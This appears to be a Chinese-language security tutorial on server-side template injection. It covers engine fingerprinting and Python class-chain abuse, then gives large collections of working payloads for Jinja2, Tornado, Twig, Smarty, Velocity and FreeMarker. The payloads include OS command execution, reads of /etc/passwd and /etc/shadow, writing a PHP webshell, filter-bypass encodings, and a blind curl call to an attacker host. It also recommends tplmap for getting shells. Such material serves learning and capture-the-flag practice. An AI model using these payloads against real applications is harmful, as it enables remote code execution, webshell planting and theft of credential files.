SSTI漏洞浅析(常见模板注入、waf绕过)
模板引擎
SSTI漏洞原理
注:MVC是一种框架型模式,全名是Model View Controller,即模型(model)-视图(view)-控制器(controller),在MVC的指导下开发一种业务逻辑、数据、界面显示分离的方法来组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,得到更好的开发和维护效率。
在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术
以下是易受攻击的代码片段:
$output = $twig->render("Dear " . $_GET['name']);
在这段代码中,我们使用了 Twig 模板引擎来渲染模板。然而,对于传入的 name 参数,直接将其与其他字符串进行了简单的拼接,而没有对其进行任何过滤和转义操作。这样做存在安全风险,因为攻击者可以通过构造恶意的输入来注入任意的模板代码。
如果攻击者将 name 参数设置为 {{7*7}},则最终渲染的模板将变为:
Dear {{7*7}}
这样的结果会导致 Twig 引擎将 7*7 这个表达式作为模板代码进行执行,从而使攻击者能够执行任意的代码。
如何判断使用的模板?
常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等。以下是一张广为流传的图:
这幅图的含义是通过这些指令去判断对方用的是什么模板,下面解释一下这幅图的意思:
绿色箭头是执行成功,红色箭头是执行失败。
首先是注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。
然后回到最初注入${7*7}成功回显出49的情况,这种时候是执行成功走绿线,再次注入a{*comment*}b,如果执行成功回显ab,就说明是Smarty模板;如果没有回显出ab,就是执行失败走红线,注入${"z".join("ab")},如果执行成功回显出zab就说明是Mako模板。
自动化工具
这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利
github地址:https://github.com/epinna/tplmap
python中的SSTI
常用的类和方法
在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti,接下来讲几个基础的。
1. __class__
__class__
是一个内置属性,用于返回对象所属的类。这个属性在每个对象中都存在,可以用来获取对象的类信息。class MyClass: pass obj = MyClass() print(obj.__class__) # 输出: <class '__main__.MyClass'>
obj
是 MyClass
的一个实例,通过 obj.__class__
可以获取到 MyClass
。2. __bases__
__bases__
是一个内置属性,用于返回一个类所直接继承的类。它以元组的形式返回所有直接父类。class Parent: pass class Child(Parent): pass print(Child.__bases__) # 输出: (<class '__main__.Parent'>,)
Child
类继承自 Parent
类,通过 Child.__bases__
可以获取到 Parent
类。3. __base__
__base__
是一个内置属性,用于返回一个类所直接继承的类。与 __bases__
不同,__base__
返回的是单个父类,而不是元组。class Parent: pass class Child(Parent): pass print(Child.__base__) # 输出: <class '__main__.Parent'>
Child
类继承自 Parent
类,通过 Child.__base__
可以获取到 Parent
类。4. __mro__
__mro__
是一个内置属性,用于返回解析方法调用的顺序。它是一个元组,包含了类及其所有父类的顺序。class GrandParent: pass class Parent(GrandParent): pass class Child(Parent): pass print(Child.__mro__) # 输出: (<class '__main__.Child'>, <class '__main__.Parent'>, <class '__main__.GrandParent'>, <class 'object'>)
Child
类继承自 Parent
类,而 Parent
类继承自 GrandParent
类。通过 Child.__mro__
可以获取到方法解析顺序。5. __subclasses__()
__subclasses__()
是一个内置方法,用于获取类的所有子类。它返回一个包含所有子类的列表。class Parent: pass class Child1(Parent): pass class Child2(Parent): pass print(Parent.__subclasses__()) # 输出: [<class '__main__.Child1'>, <class '__main__.Child2'>]
Parent
类有两个子类 Child1
和 Child2
,通过 Parent.__subclasses__()
可以获取到这两个子类。6. __init__
__init__
是一个特殊方法,用于初始化对象的属性。虽然它不是内置属性,但在很多情况下,它被用作跳板来调用 globals
,从而执行一些特殊操作。class MyClass: def __init__(self): self.data = "Hello, World!" obj = MyClass() print(obj.data) # 输出: Hello, World!
__init__
方法用于初始化 MyClass
的实例属性 data
。7. __globals__
__globals__
是一个内置属性,用于获取函数所处空间下可使用的模块、方法以及所有变量。def my_function(): print(__globals__) my_function()
__globals__
返回当前函数所处的全局变量字典。在看完上边这些自带方法、成员变量后,可能有点懵,接下来看看是如何利用这些方法以及成员变量达到我们想要的目的的。
在SSTI中,我们要做的无非就两个:
- 执行命令
- 获取文件内容
所以我们所做的一切实际上都是在往这两个结果靠拢。
Jinja2
基础payload
获得基类 #python2.7 ''.__class__.__mro__[2] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[1] #python3.7 ''.__。。。class__.__mro__[1] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[1] #python 2.7 #文件操作 #找到file类 [].__class__.__bases__[0].__subclasses__()[40] #读文件 [].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() #写文件 [].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test') #命令执行 #os执行 [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数 [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() #python3.7 #命令执行 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} #windows下的os命令 "".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()
一些绕waf的方法
过滤中括号
#getitem、pop ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read() ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
过滤引号
#chr函数 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd #命令执行 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤下划线
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
过滤花括号
#用{%%}标记 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
Tornado
以下为tornado render模板注入相关的BUUCTF的题目,可作为参考。
【攻防世界】easytornado - Antoniiiia - 博客园
基础payload
1. 直接命令执行:
{{__import__("os").popen("ls").read()}} # 调用os模块执行命令 {% import os %}{{os.popen("id").read()}} # 显式导入模块
2. 利用对象链构造攻击:
Flask类继承链的复用:
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
通过字符串对象回溯到 os._wrap_close 类,利用其全局变量执行命令。
Tornado特有对象链:
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
通过handler对象的全局命名空间直接调用eval函数。
3. 文件包含与模板覆盖:
{% extends "/etc/passwd" %} # 尝试包含系统文件 {% include "/etc/shadow" %} # 触发文件读取漏洞
一些绕waf的方法
1. 十六进制/Unicode编码
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29..." %} # 编码os.popen("ls")
2. 符号过滤
利用模板语法特性:
{% raw "恶意代码" %}{% apply eval %}...{% end %} # 通过apply执行函数
无回显命令执行:
__import__('os').system('curl http://attacker.com') # 使用system实现无回显攻击
3. 分块注入与沙箱逃逸
多行代码注入:
{% autoescape None %} {% raw request.body %} # 通过request.body传递代码块 _tt_utf8=exec # 利用模板变量赋值执行
与其他框架的对比
特性 | Tornado | Flask(Jinja2) | Django |
模板语法 | 类似Jinja2,支持 handler 对象 | 标准Jinja2语法 | 自研模板系统,语法更加严格 |
沙盒机制 | 有限支持(需手动配置) | 无原生沙盒,依赖扩展 | 默认启用沙盒,安全性更高 |
高危对象 | handler.settings、request | config、request | settings、os模块 |
漏洞利用难度 | 中等(依赖上下文对象) | 较低(魔术方法链成熟) | 较高(沙盒严格) |
PHP中的SSTI
php常见的模板:twig,smarty,blade
twig
Twig 是来自于 Symfony 的模板引擎,它非常易于安装和使用,它的操作有点像 Mustache 和 liquid
payload
{{'/etc/passwd'|file_excerpt(1,30)}} {{app.request.files.get(1).__construct('/etc/passwd','')}} {{app.request.files.get(1).openFile.fread(99)}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}} {{_self.env.enableDebug()}}{{_self.env.isDebug()}} {{["id"]|map("system")|join(",") {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}} {{["id",0]|sort("system")|join(",")}} {{["id"]|filter("system")|join(",")}} {{[0,0]|reduce("system","id")|join(",")}} {{['cat /etc/passwd']|filter('system')}}
具体payload分析详见:《TWIG 全版本通用 SSTI payloads》
smarty
{php}{/php}
标签来执行被包裹其中的php指令,最常规的思路是先测试该标签:{php}phpinfo();{/php}
在Smarty3的官方手册里有以下描述:
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
此外,还可以使用{literal} 标签,
官方手册这样描述这个标签:
{literal}
可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
<script language="php">phpinfo();</script> // 从PHP7开始,这种写法<script language="php"></script>,已经不支持了
也可以用self来获取Smarty对象并调用Smarty类的getStreamVariable方法,很多文章里给的payload都形如:
{self::getStreamVariable(“file:///etc/passwd”)}
不过这个是旧版本Smarty的SSTI利用方式,并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。 对于那些文章提到的利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用。
尝试使用{if}标签,官方文档中看到这样的描述:
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*
执行以下payload可读取/flag:
{if system('cat /flag')}{/if}
Blade
Blade 是 Laravel 提供的一个既简单又强大的模板引擎。
关于blade模板这里不再多说,请参考《laravel Blade 模板引擎》
Java中的SSTI
java常见的引擎:FreeMarker, velocity
velocity
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。
根据官方文档的描述,可以看到这是由 widget Connector 这个插件造成的SSTI,利用SSTI而造成的RCE。在经过diff后,可以确定触发漏洞的关键点在于对post包中的_template字段。
具体漏洞代码调试可以参考:《Confluence未授权模板注入/代码执行(CVE-2019-3396)》
《Confluence 未授权RCE分析(CVE-2019-3396)》
http://127.0.0.1:8080/ssti/velocity?template=%23set(%24e=%22e%22);%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延迟了5秒
FreeMarker
FreeMarker 是一款模板引擎:即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
freemarker.template.utility 里面有个Execute类,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。构造payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
freemarker.template.utility 里面有个ObjectConstructor类,如下图所示,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()
freemarker.template.utility 里面的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>
参考链接
《SSTI完全学习》
《SSTI模板注入》